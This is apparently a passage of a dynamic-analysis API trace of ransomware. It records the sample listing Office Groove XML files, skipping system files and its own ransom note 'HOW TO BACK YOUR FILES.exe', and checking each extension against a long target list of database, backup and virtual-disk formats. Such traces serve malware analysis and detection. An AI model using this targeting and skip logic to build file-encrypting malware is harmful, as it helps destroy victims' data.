	[0070.542] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2="temp") returned -1
	[0070.542] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2="pagefile.sys") returned -1
	[0070.542] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2="boot") returned 1
	[0070.542] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2="ids.txt") returned -1
	[0070.542] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2="ntuser.dat") returned -1
	[0070.542] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2="perflogs") returned -1
	[0070.542] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2="MSBuild") returned -1
	[0070.542] lstrlenW (lpString="builtincontrolsschema.xsd") returned 25
	[0070.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*") returned 61
	[0070.542] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="builtincontrolsschema.xsd" | out: lpString1="builtincontrolsschema.xsd") returned="builtincontrolsschema.xsd"
	[0070.542] lstrlenW (lpString="builtincontrolsschema.xsd") returned 25
	[0070.543] lstrlenW (lpString="Apollon865") returned 10
	[0070.543] lstrcmpiW (lpString1="schema.xsd", lpString2="Apollon865") returned 1
	[0070.543] lstrlenW (lpString=".dll") returned 4
	[0070.543] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2=".dll") returned 1
	[0070.543] lstrlenW (lpString=".lnk") returned 4
	[0070.543] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2=".lnk") returned 1
	[0070.543] lstrlenW (lpString=".ini") returned 4
	[0070.543] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2=".ini") returned 1
	[0070.543] lstrlenW (lpString=".sys") returned 4
	[0070.543] lstrcmpiW (lpString1="builtincontrolsschema.xsd", lpString2=".sys") returned 1
	[0070.543] lstrlenW (lpString="builtincontrolsschema.xsd") returned 25
	[0070.543] lstrlenW (lpString="bak") returned 3
	[0070.543] lstrcmpiW (lpString1="xsd", lpString2="bak") returned 1
	[0070.543] lstrlenW (lpString="ba_") returned 3
	[0070.543] lstrcmpiW (lpString1="xsd", lpString2="ba_") returned 1
	[0070.543] lstrlenW (lpString="dbb") returned 3
	[0070.543] lstrcmpiW (lpString1="xsd", lpString2="dbb") returned 1
	[0070.543] lstrlenW (lpString="vmdk") returned 4
	[0070.543] lstrcmpiW (lpString1=".xsd", lpString2="vmdk") returned -1
	[0070.543] lstrlenW (lpString="rar") returned 3
	[0070.543] lstrcmpiW (lpString1="xsd", lpString2="rar") returned 1
	[0070.543] lstrlenW (lpString="zip") returned 3
	[0070.543] lstrcmpiW (lpString1="xsd", lpString2="zip") returned -1
	[0070.543] lstrlenW (lpString="tgz") returned 3
	[0070.543] lstrcmpiW (lpString1="xsd", lpString2="tgz") returned 1
	[0070.543] lstrlenW (lpString="vbox") returned 4
	[0070.543] lstrcmpiW (lpString1=".xsd", lpString2="vbox") returned -1
	[0070.543] lstrlenW (lpString="vdi") returned 3
	[0070.543] lstrcmpiW (lpString1="xsd", lpString2="vdi") returned 1
	[0070.543] lstrlenW (lpString="vhd") returned 3
	[0070.543] lstrcmpiW (lpString1="xsd", lpString2="vhd") returned 1
	[0070.543] lstrlenW (lpString="vhdx") returned 4
	[0070.543] lstrcmpiW (lpString1=".xsd", lpString2="vhdx") returned -1
	[0070.543] lstrlenW (lpString="avhd") returned 4
	[0070.543] lstrcmpiW (lpString1=".xsd", lpString2="avhd") returned -1
	[0070.543] lstrlenW (lpString="db") returned 2
	[0070.543] lstrcmpiW (lpString1="sd", lpString2="db") returned 1
	[0070.543] lstrlenW (lpString="db2") returned 3
	[0070.544] lstrcmpiW (lpString1="xsd", lpString2="db2") returned 1
	[0070.544] lstrlenW (lpString="db3") returned 3
	[0070.544] lstrcmpiW (lpString1="xsd", lpString2="db3") returned 1
	[0070.544] lstrlenW (lpString="dbf") returned 3
	[0070.544] lstrcmpiW (lpString1="xsd", lpString2="dbf") returned 1
	[0070.544] lstrlenW (lpString="mdf") returned 3
	[0070.544] lstrcmpiW (lpString1="xsd", lpString2="mdf") returned 1
	[0070.544] lstrlenW (lpString="mdb") returned 3
	[0070.544] lstrcmpiW (lpString1="xsd", lpString2="mdb") returned 1
	[0070.544] lstrlenW (lpString="sql") returned 3
	[0070.544] lstrcmpiW (lpString1="xsd", lpString2="sql") returned 1
	[0070.544] lstrlenW (lpString="sqlite") returned 6
	[0070.544] lstrcmpiW (lpString1="ma.xsd", lpString2="sqlite") returned -1
	[0070.544] lstrlenW (lpString="sqlite3") returned 7
	[0070.544] lstrcmpiW (lpString1="ema.xsd", lpString2="sqlite3") returned -1
	[0070.544] lstrlenW (lpString="sqlitedb") returned 8
	[0070.544] lstrcmpiW (lpString1="hema.xsd", lpString2="sqlitedb") returned -1
	[0070.544] lstrlenW (lpString="xml") returned 3
	[0070.544] lstrcmpiW (lpString1="xsd", lpString2="xml") returned 1
	[0070.544] lstrlenW (lpString="$er") returned 3
	[0070.544] lstrcmpiW (lpString1="xsd", lpString2="$er") returned 1
	[0070.544] lstrlenW (lpString="4dd") returned 3
	[0070.544] lstrcmpiW (lpString1="xsd", lpString2="4dd") returned 1
	[0070.544] lstrlenW (lpString="4dl") returned 3
	[0070.544] lstrcmpiW (lpString1="xsd", lpString2="4dl") returned 1
	[0070.544] lstrlenW (lpString="^^^") returned 3
	[0070.544] lstrcmpiW (lpString1="xsd", lpString2="^^^") returned 1
	[0070.544] lstrlenW (lpString="abs") returned 3
	[0070.544] lstrcmpiW (lpString1="xsd", lpString2="abs") returned 1
	[0070.544] lstrlenW (lpString="abx") returned 3
	[0070.544] lstrcmpiW (lpString1="xsd", lpString2="abx") returned 1
	[0070.544] lstrlenW (lpString="accdb") returned 5
	[0070.544] lstrcmpiW (lpString1="a.xsd", lpString2="accdb") returned -1
	[0070.544] lstrlenW (lpString="accdc") returned 5
	[0070.545] lstrcmpiW (lpString1="a.xsd", lpString2="accdc") returned -1
	[0070.545] lstrlenW (lpString="accde") returned 5
	[0070.545] lstrcmpiW (lpString1="a.xsd", lpString2="accde") returned -1
	[0070.545] lstrlenW (lpString="accdr") returned 5
	[0070.545] lstrcmpiW (lpString1="a.xsd", lpString2="accdr") returned -1
	[0070.545] lstrlenW (lpString="accdt") returned 5
	[0070.545] lstrcmpiW (lpString1="a.xsd", lpString2="accdt") returned -1
	[0070.545] lstrlenW (lpString="accdw") returned 5
	[0070.545] lstrcmpiW (lpString1="a.xsd", lpString2="accdw") returned -1
	[0070.545] lstrlenW (lpString="accft") returned 5
	[0070.545] lstrcmpiW (lpString1="a.xsd", lpString2="accft") returned -1
	[0070.545] lstrlenW (lpString="adb") returned 3
	[0070.545] lstrcmpiW (lpString1="xsd", lpString2="adb") returned 1
	[0070.545] lstrlenW (lpString="adb") returned 3
	[0070.545] lstrcmpiW (lpString1="xsd", lpString2="adb") returned 1
	[0070.545] lstrlenW (lpString="ade") returned 3
	[0070.545] lstrcmpiW (lpString1="xsd", lpString2="ade") returned 1
	[0070.545] lstrlenW (lpString="adf") returned 3
	[0070.545] lstrcmpiW (lpString1="xsd", lpString2="adf") returned 1
	[0070.545] lstrlenW (lpString="adn") returned 3
	[0070.545] lstrcmpiW (lpString1="xsd", lpString2="adn") returned 1
	[0070.545] lstrlenW (lpString="adp") returned 3
	[0070.545] lstrcmpiW (lpString1="xsd", lpString2="adp") returned 1
	[0070.545] lstrlenW (lpString="alf") returned 3
	[0070.545] lstrcmpiW (lpString1="xsd", lpString2="alf") returned 1
	[0070.545] lstrlenW (lpString="ask") returned 3
	[0070.545] lstrcmpiW (lpString1="xsd", lpString2="ask") returned 1
	[0070.545] lstrlenW (lpString="btr") returned 3
	[0070.545] lstrcmpiW (lpString1="xsd", lpString2="btr") returned 1
	[0070.545] lstrlenW (lpString="cat") returned 3
	[0070.545] lstrcmpiW (lpString1="xsd", lpString2="cat") returned 1
	[0070.545] lstrlenW (lpString="cdb") returned 3
	[0070.545] lstrcmpiW (lpString1="xsd", lpString2="cdb") returned 1
	[0070.545] lstrlenW (lpString="ckp") returned 3
	[0070.545] lstrcmpiW (lpString1="xsd", lpString2="ckp") returned 1
	[0070.545] lstrlenW (lpString="cma") returned 3
	[0070.545] lstrcmpiW (lpString1="xsd", lpString2="cma") returned 1
	[0070.546] lstrlenW (lpString="cpd") returned 3
	[0070.546] lstrcmpiW (lpString1="xsd", lpString2="cpd") returned 1
	[0070.546] lstrlenW (lpString="dacpac") returned 6
	[0070.546] lstrcmpiW (lpString1="ma.xsd", lpString2="dacpac") returned 1
	[0070.546] lstrlenW (lpString="dad") returned 3
	[0070.546] lstrcmpiW (lpString1="xsd", lpString2="dad") returned 1
	[0070.546] lstrlenW (lpString="dadiagrams") returned 10
	[0070.546] lstrcmpiW (lpString1="schema.xsd", lpString2="dadiagrams") returned 1
	[0070.546] lstrlenW (lpString="daschema") returned 8
	[0070.546] lstrcmpiW (lpString1="hema.xsd", lpString2="daschema") returned 1
	[0070.546] lstrlenW (lpString="db-journal") returned 10
	[0070.546] lstrcmpiW (lpString1="schema.xsd", lpString2="db-journal") returned 1
	[0070.546] lstrlenW (lpString="db-shm") returned 6
	[0070.546] lstrcmpiW (lpString1="ma.xsd", lpString2="db-shm") returned 1
	[0070.546] lstrlenW (lpString="db-wal") returned 6
	[0070.546] lstrcmpiW (lpString1="ma.xsd", lpString2="db-wal") returned 1
	[0070.546] lstrlenW (lpString="dbc") returned 3
	[0070.546] lstrcmpiW (lpString1="xsd", lpString2="dbc") returned 1
	[0070.546] lstrlenW (lpString="dbs") returned 3
	[0070.546] lstrcmpiW (lpString1="xsd", lpString2="dbs") returned 1
	[0070.546] lstrlenW (lpString="dbt") returned 3
	[0070.546] lstrcmpiW (lpString1="xsd", lpString2="dbt") returned 1
	[0070.546] lstrlenW (lpString="dbv") returned 3
	[0070.546] lstrcmpiW (lpString1="xsd", lpString2="dbv") returned 1
	[0070.546] lstrlenW (lpString="dbx") returned 3
	[0070.546] lstrcmpiW (lpString1="xsd", lpString2="dbx") returned 1
	[0070.546] lstrlenW (lpString="dcb") returned 3
	[0070.546] lstrcmpiW (lpString1="xsd", lpString2="dcb") returned 1
	[0070.546] lstrlenW (lpString="dct") returned 3
	[0070.546] lstrcmpiW (lpString1="xsd", lpString2="dct") returned 1
	[0070.546] lstrlenW (lpString="dcx") returned 3
	[0070.546] lstrcmpiW (lpString1="xsd", lpString2="dcx") returned 1
	[0070.546] lstrlenW (lpString="ddl") returned 3
	[0070.546] lstrcmpiW (lpString1="xsd", lpString2="ddl") returned 1
	[0070.546] lstrlenW (lpString="dlis") returned 4
	[0070.546] lstrcmpiW (lpString1=".xsd", lpString2="dlis") returned -1
	[0070.546] lstrlenW (lpString="dp1") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="dp1") returned 1
	[0070.547] lstrlenW (lpString="dqy") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="dqy") returned 1
	[0070.547] lstrlenW (lpString="dsk") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="dsk") returned 1
	[0070.547] lstrlenW (lpString="dsn") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="dsn") returned 1
	[0070.547] lstrlenW (lpString="dtsx") returned 4
	[0070.547] lstrcmpiW (lpString1=".xsd", lpString2="dtsx") returned -1
	[0070.547] lstrlenW (lpString="dxl") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="dxl") returned 1
	[0070.547] lstrlenW (lpString="eco") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="eco") returned 1
	[0070.547] lstrlenW (lpString="ecx") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="ecx") returned 1
	[0070.547] lstrlenW (lpString="edb") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="edb") returned 1
	[0070.547] lstrlenW (lpString="epim") returned 4
	[0070.547] lstrcmpiW (lpString1=".xsd", lpString2="epim") returned -1
	[0070.547] lstrlenW (lpString="fcd") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="fcd") returned 1
	[0070.547] lstrlenW (lpString="fdb") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="fdb") returned 1
	[0070.547] lstrlenW (lpString="fic") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="fic") returned 1
	[0070.547] lstrlenW (lpString="flexolibrary") returned 12
	[0070.547] lstrcmpiW (lpString1="lsschema.xsd", lpString2="flexolibrary") returned 1
	[0070.547] lstrlenW (lpString="fm5") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="fm5") returned 1
	[0070.547] lstrlenW (lpString="fmp") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="fmp") returned 1
	[0070.547] lstrlenW (lpString="fmp12") returned 5
	[0070.547] lstrcmpiW (lpString1="a.xsd", lpString2="fmp12") returned -1
	[0070.547] lstrlenW (lpString="fmpsl") returned 5
	[0070.547] lstrcmpiW (lpString1="a.xsd", lpString2="fmpsl") returned -1
	[0070.547] lstrlenW (lpString="fol") returned 3
	[0070.547] lstrcmpiW (lpString1="xsd", lpString2="fol") returned 1
	[0070.547] lstrlenW (lpString="fp3") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="fp3") returned 1
	[0070.548] lstrlenW (lpString="fp4") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="fp4") returned 1
	[0070.548] lstrlenW (lpString="fp5") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="fp5") returned 1
	[0070.548] lstrlenW (lpString="fp7") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="fp7") returned 1
	[0070.548] lstrlenW (lpString="fpt") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="fpt") returned 1
	[0070.548] lstrlenW (lpString="frm") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="frm") returned 1
	[0070.548] lstrlenW (lpString="gdb") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="gdb") returned 1
	[0070.548] lstrlenW (lpString="gdb") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="gdb") returned 1
	[0070.548] lstrlenW (lpString="grdb") returned 4
	[0070.548] lstrcmpiW (lpString1=".xsd", lpString2="grdb") returned -1
	[0070.548] lstrlenW (lpString="gwi") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="gwi") returned 1
	[0070.548] lstrlenW (lpString="hdb") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="hdb") returned 1
	[0070.548] lstrlenW (lpString="his") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="his") returned 1
	[0070.548] lstrlenW (lpString="ib") returned 2
	[0070.548] lstrcmpiW (lpString1="sd", lpString2="ib") returned 1
	[0070.548] lstrlenW (lpString="idb") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="idb") returned 1
	[0070.548] lstrlenW (lpString="ihx") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="ihx") returned 1
	[0070.548] lstrlenW (lpString="itdb") returned 4
	[0070.548] lstrcmpiW (lpString1=".xsd", lpString2="itdb") returned -1
	[0070.548] lstrlenW (lpString="itw") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="itw") returned 1
	[0070.548] lstrlenW (lpString="jet") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="jet") returned 1
	[0070.548] lstrlenW (lpString="jtx") returned 3
	[0070.548] lstrcmpiW (lpString1="xsd", lpString2="jtx") returned 1
	[0070.548] lstrlenW (lpString="kdb") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="kdb") returned 1
	[0070.549] lstrlenW (lpString="kexi") returned 4
	[0070.549] lstrcmpiW (lpString1=".xsd", lpString2="kexi") returned -1
	[0070.549] lstrlenW (lpString="kexic") returned 5
	[0070.549] lstrcmpiW (lpString1="a.xsd", lpString2="kexic") returned -1
	[0070.549] lstrlenW (lpString="kexis") returned 5
	[0070.549] lstrcmpiW (lpString1="a.xsd", lpString2="kexis") returned -1
	[0070.549] lstrlenW (lpString="lgc") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="lgc") returned 1
	[0070.549] lstrlenW (lpString="lwx") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="lwx") returned 1
	[0070.549] lstrlenW (lpString="maf") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="maf") returned 1
	[0070.549] lstrlenW (lpString="maq") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="maq") returned 1
	[0070.549] lstrlenW (lpString="mar") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="mar") returned 1
	[0070.549] lstrlenW (lpString="marshal") returned 7
	[0070.549] lstrcmpiW (lpString1="ema.xsd", lpString2="marshal") returned -1
	[0070.549] lstrlenW (lpString="mas") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="mas") returned 1
	[0070.549] lstrlenW (lpString="mav") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="mav") returned 1
	[0070.549] lstrlenW (lpString="maw") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="maw") returned 1
	[0070.549] lstrlenW (lpString="mdbhtml") returned 7
	[0070.549] lstrcmpiW (lpString1="ema.xsd", lpString2="mdbhtml") returned -1
	[0070.549] lstrlenW (lpString="mdn") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="mdn") returned 1
	[0070.549] lstrlenW (lpString="mdt") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="mdt") returned 1
	[0070.549] lstrlenW (lpString="mfd") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="mfd") returned 1
	[0070.549] lstrlenW (lpString="mpd") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="mpd") returned 1
	[0070.549] lstrlenW (lpString="mrg") returned 3
	[0070.549] lstrcmpiW (lpString1="xsd", lpString2="mrg") returned 1
	[0070.550] lstrlenW (lpString="mud") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="mud") returned 1
	[0070.550] lstrlenW (lpString="mwb") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="mwb") returned 1
	[0070.550] lstrlenW (lpString="myd") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="myd") returned 1
	[0070.550] lstrlenW (lpString="ndf") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="ndf") returned 1
	[0070.550] lstrlenW (lpString="nnt") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="nnt") returned 1
	[0070.550] lstrlenW (lpString="nrmlib") returned 6
	[0070.550] lstrcmpiW (lpString1="ma.xsd", lpString2="nrmlib") returned -1
	[0070.550] lstrlenW (lpString="ns2") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="ns2") returned 1
	[0070.550] lstrlenW (lpString="ns3") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="ns3") returned 1
	[0070.550] lstrlenW (lpString="ns4") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="ns4") returned 1
	[0070.550] lstrlenW (lpString="nsf") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="nsf") returned 1
	[0070.550] lstrlenW (lpString="nv") returned 2
	[0070.550] lstrcmpiW (lpString1="sd", lpString2="nv") returned 1
	[0070.550] lstrlenW (lpString="nv2") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="nv2") returned 1
	[0070.550] lstrlenW (lpString="nwdb") returned 4
	[0070.550] lstrcmpiW (lpString1=".xsd", lpString2="nwdb") returned -1
	[0070.550] lstrlenW (lpString="nyf") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="nyf") returned 1
	[0070.550] lstrlenW (lpString="odb") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="odb") returned 1
	[0070.550] lstrlenW (lpString="odb") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="odb") returned 1
	[0070.550] lstrlenW (lpString="oqy") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="oqy") returned 1
	[0070.550] lstrlenW (lpString="ora") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="ora") returned 1
	[0070.550] lstrlenW (lpString="orx") returned 3
	[0070.550] lstrcmpiW (lpString1="xsd", lpString2="orx") returned 1
	[0070.551] lstrlenW (lpString="owc") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="owc") returned 1
	[0070.551] lstrlenW (lpString="p96") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="p96") returned 1
	[0070.551] lstrlenW (lpString="p97") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="p97") returned 1
	[0070.551] lstrlenW (lpString="pan") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="pan") returned 1
	[0070.551] lstrlenW (lpString="pdb") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="pdb") returned 1
	[0070.551] lstrlenW (lpString="pdm") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="pdm") returned 1
	[0070.551] lstrlenW (lpString="pnz") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="pnz") returned 1
	[0070.551] lstrlenW (lpString="qry") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="qry") returned 1
	[0070.551] lstrlenW (lpString="qvd") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="qvd") returned 1
	[0070.551] lstrlenW (lpString="rbf") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="rbf") returned 1
	[0070.551] lstrlenW (lpString="rctd") returned 4
	[0070.551] lstrcmpiW (lpString1=".xsd", lpString2="rctd") returned -1
	[0070.551] lstrlenW (lpString="rod") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="rod") returned 1
	[0070.551] lstrlenW (lpString="rodx") returned 4
	[0070.551] lstrcmpiW (lpString1=".xsd", lpString2="rodx") returned -1
	[0070.551] lstrlenW (lpString="rpd") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="rpd") returned 1
	[0070.551] lstrlenW (lpString="rsd") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="rsd") returned 1
	[0070.551] lstrlenW (lpString="sas7bdat") returned 8
	[0070.551] lstrcmpiW (lpString1="hema.xsd", lpString2="sas7bdat") returned -1
	[0070.551] lstrlenW (lpString="sbf") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="sbf") returned 1
	[0070.551] lstrlenW (lpString="scx") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="scx") returned 1
	[0070.551] lstrlenW (lpString="sdb") returned 3
	[0070.551] lstrcmpiW (lpString1="xsd", lpString2="sdb") returned 1
	[0070.552] lstrlenW (lpString="sdc") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="sdc") returned 1
	[0070.552] lstrlenW (lpString="sdf") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="sdf") returned 1
	[0070.552] lstrlenW (lpString="sis") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="sis") returned 1
	[0070.552] lstrlenW (lpString="spq") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="spq") returned 1
	[0070.552] lstrlenW (lpString="te") returned 2
	[0070.552] lstrcmpiW (lpString1="sd", lpString2="te") returned -1
	[0070.552] lstrlenW (lpString="teacher") returned 7
	[0070.552] lstrcmpiW (lpString1="ema.xsd", lpString2="teacher") returned -1
	[0070.552] lstrlenW (lpString="tmd") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="tmd") returned 1
	[0070.552] lstrlenW (lpString="tps") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="tps") returned 1
	[0070.552] lstrlenW (lpString="trc") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="trc") returned 1
	[0070.552] lstrlenW (lpString="trc") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="trc") returned 1
	[0070.552] lstrlenW (lpString="trm") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="trm") returned 1
	[0070.552] lstrlenW (lpString="udb") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="udb") returned 1
	[0070.552] lstrlenW (lpString="udl") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="udl") returned 1
	[0070.552] lstrlenW (lpString="usr") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="usr") returned 1
	[0070.552] lstrlenW (lpString="v12") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="v12") returned 1
	[0070.552] lstrlenW (lpString="vis") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="vis") returned 1
	[0070.552] lstrlenW (lpString="vpd") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="vpd") returned 1
	[0070.552] lstrlenW (lpString="vvv") returned 3
	[0070.552] lstrcmpiW (lpString1="xsd", lpString2="vvv") returned 1
	[0070.552] lstrlenW (lpString="wdb") returned 3
	[0070.553] lstrcmpiW (lpString1="xsd", lpString2="wdb") returned 1
	[0070.553] lstrlenW (lpString="wmdb") returned 4
	[0070.553] lstrcmpiW (lpString1=".xsd", lpString2="wmdb") returned -1
	[0070.553] lstrlenW (lpString="wrk") returned 3
	[0070.553] lstrcmpiW (lpString1="xsd", lpString2="wrk") returned 1
	[0070.553] lstrlenW (lpString="xdb") returned 3
	[0070.553] lstrcmpiW (lpString1="xsd", lpString2="xdb") returned 1
	[0070.553] lstrlenW (lpString="xld") returned 3
	[0070.553] lstrcmpiW (lpString1="xsd", lpString2="xld") returned 1
	[0070.553] lstrlenW (lpString="xmlff") returned 5
	[0070.553] lstrcmpiW (lpString1="a.xsd", lpString2="xmlff") returned -1
	[0070.553] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x537646f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd279da00, ftLastWriteTime.dwHighDateTime=0x1c8a0cd, nFileSizeHigh=0x0, nFileSizeLow=0x5d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="grvschema.xsd", cAlternateFileName="GRVSCH~1.XSD")) returned 1
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2="Apollon865.txt.exe") returned 1
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2=".") returned 1
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2="..") returned 1
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2="windows") returned -1
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2="bootmgr") returned 1
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2="temp") returned -1
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2="pagefile.sys") returned -1
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2="boot") returned 1
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2="ids.txt") returned -1
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2="ntuser.dat") returned -1
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2="perflogs") returned -1
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2="MSBuild") returned -1
	[0070.553] lstrlenW (lpString="grvschema.xsd") returned 13
	[0070.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\builtincontrolsschema.xsd") returned 85
	[0070.553] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="grvschema.xsd" | out: lpString1="grvschema.xsd") returned="grvschema.xsd"
	[0070.553] lstrlenW (lpString="grvschema.xsd") returned 13
	[0070.553] lstrlenW (lpString="Apollon865") returned 10
	[0070.553] lstrcmpiW (lpString1="schema.xsd", lpString2="Apollon865") returned 1
	[0070.553] lstrlenW (lpString=".dll") returned 4
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2=".dll") returned 1
	[0070.553] lstrlenW (lpString=".lnk") returned 4
	[0070.553] lstrcmpiW (lpString1="grvschema.xsd", lpString2=".lnk") returned 1
	[0070.553] lstrlenW (lpString=".ini") returned 4
	[0070.554] lstrcmpiW (lpString1="grvschema.xsd", lpString2=".ini") returned 1
	[0070.554] lstrlenW (lpString=".sys") returned 4
	[0070.554] lstrcmpiW (lpString1="grvschema.xsd", lpString2=".sys") returned 1
	[0070.554] lstrlenW (lpString="grvschema.xsd") returned 13
	[0070.554] lstrlenW (lpString="bak") returned 3
	[0070.554] lstrcmpiW (lpString1="xsd", lpString2="bak") returned 1
	[0070.554] lstrlenW (lpString="ba_") returned 3
	[0070.554] lstrcmpiW (lpString1="xsd", lpString2="ba_") returned 1
	[0070.554] lstrlenW (lpString="dbb") returned 3
